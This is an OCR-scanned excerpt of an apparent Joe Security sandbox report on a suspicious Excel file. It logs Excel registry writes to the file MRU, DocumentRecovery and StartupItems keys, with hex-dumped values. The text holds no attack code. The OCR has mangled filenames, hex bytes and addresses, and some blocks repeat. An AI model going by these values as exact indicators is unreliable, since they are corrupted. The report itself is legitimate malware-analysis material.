rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\0887538035.xIsx
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright Joe Security LLC 2021

Name

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Item 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9369051781.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

7TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EF1ED binary 04 00 00 00 28 02 00 00 3A 00 00 00 43 success or wait 1 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EF1ED 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 32 00 2E 00 31 00 34 00 2E 00
33 00 3500 2E 00 73 00 68 00 65 00 65
00 74 00 2E 00 63 00 73 00 76 00 00 00
00 00 22 00 00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00 5C 00 41 00
6C 00 62 00 75 00 73 00 5C 00 41 00 70
00 70 00 44 00 61 00 74 00 61 00 5C 00
4C 00 6F 00 63 00 61 00 6C 00 5C 00 54
00 65 00 6D 00 70 00 5C 00 01 00 00 00
01 00 00 00 F5 28 92 5C 6E 47 D7 01
ED F1 OE 00 ED F1 OE 00 00 00 00 00
B8 02 00 00 OA 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EF2E7 binary 04 00 00 00 28 02 00 00 38 00 00 00 43  success or wait 1 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EF2E7 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 33 00 2E 00 35 00 2E 00 30 00
2E 00 73 00 68 00 65 00 65 00 74 00 2E
00 63 00 73 00 76 00 00 00 00 00 22 00
00 00 43 00 3A 00 5C 00 55 00 73 00 65
00 72 00 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00 44
00 61 00 74 00 61 00 5C 00 4C 00 6F 00
63 00 61 00 6C 00 5C 00 54 00 65 00 6D
00 70 00 5C 00 01 00 00 00 01 00 00 00
61 C7 7A 63 6E 47 D7 01 E7 F2 OE 00
E7 F2 OE 00 00 00 00 00 B8 02 00 00 0A
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EF344 binary 04 00 00 00 28 02 00 00 39 00 00 00 43  success or wait 1 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EF344 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 34 00 2E 00 37 00 2E 00 33 00
38 00 2E 00 73 00 68 00 65 00 65 00 74
00 2E 00 63 00 73 00 76 00 00 00 00 00
220000 00 43 00 3A 00 5C 00 55 00 73
00 65 00 72 00 73 00 5C 00 41 00 6C 00
62 00 7500 73 00 5C 00 41 00 70 00 70
00 44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00 65
00 6D 00 70 00 5C 00 01 00 00 00 01 00
00 00 65 DD A0 63 6E 47 D7 01 44 F3
OE 00 44 F3 OE 00 00 00 00 00 B8 02 00
00 OA 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 TFEEAA29ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\6516896632.xIsx
HKEY_CURRENT_USER\Software\Mic Item 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 TFEEAA29ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\9713424497 .xIsx
HKEY_CURRENT_USER\Software\Mic Item 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 TFEEAA29ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\0887538035.xIsx
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright Joe Security LLC 2021

Name

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Item 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9369051781.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

7TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EF4AB binary 04 00 00 00 28 02 00 00 30 00 00 00 43  success or wait 1 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EF4AB 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 78 00 6C 00 73 00 6D 00 2E 00 73
00 68 00 65 00 65 00 74 00 2E 00 63 00
73 00 76 00 00 00 00 00 22 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 01 00 00 00 01 00 00 00 2D C1
DE 63 6E 47 D7 01 AB F4 OE 00 AB F4
OE 00 00 00 00 00 B8 02 00 00 66 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EF5D4 binary 04 00 00 00 28 02 00 00 33 00 00 00 43  success or wait 1 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EF5D4 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 44 00 65 00 73 00 6B 00 74 00
6F 00 70 00 5C 00 33 00 32 00 31 00 35
00 34 00 66 00 34 00 63 00 5F 00 62 00
79 00 5F 00 4C 00 69 00 62 00 72 00 61
00 6E 00 61 00 6C 00 79 00 73 00 69 00
73 00 2E 00 78 00 6C 00 73 00 00 00 00
00 17 00 00 00 43 00 3A 00 5C 00 55 00
73 00 6500 72 00 73 00 5C 00 41 00 6C
00 62 00 75 00 73 00 5C 00 44 00 65 00
73 00 6B 00 74 00 6F 00 70 00 5C 00 01
00 00 00 01 00 00 00 73 1F 13 64 6E 47
D7 01 D4 F5 OE 00 D4 F5 OE 00 00 00
00 00 B8 02 00 00 6E 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

HKEY_CURRENT_USER\Software\Mic or3 binary 6F 72 33 00 28 02 00 00 02 00 00 00 00  success or wait 1 7FEEAA29ACO unknown

rosoft\Office\14.0\Excel\Resiliency\Startupltems 00 00 00 78 00 00 00 01 00 00 00 3A 00
00 00 32 00 00 00 33 00 32 00 31 00 35
00 34 00 66 00 34 00 63 00 5F 00 62 00
79 00 5F 00 6C 00 69 00 62 00 72 00 61
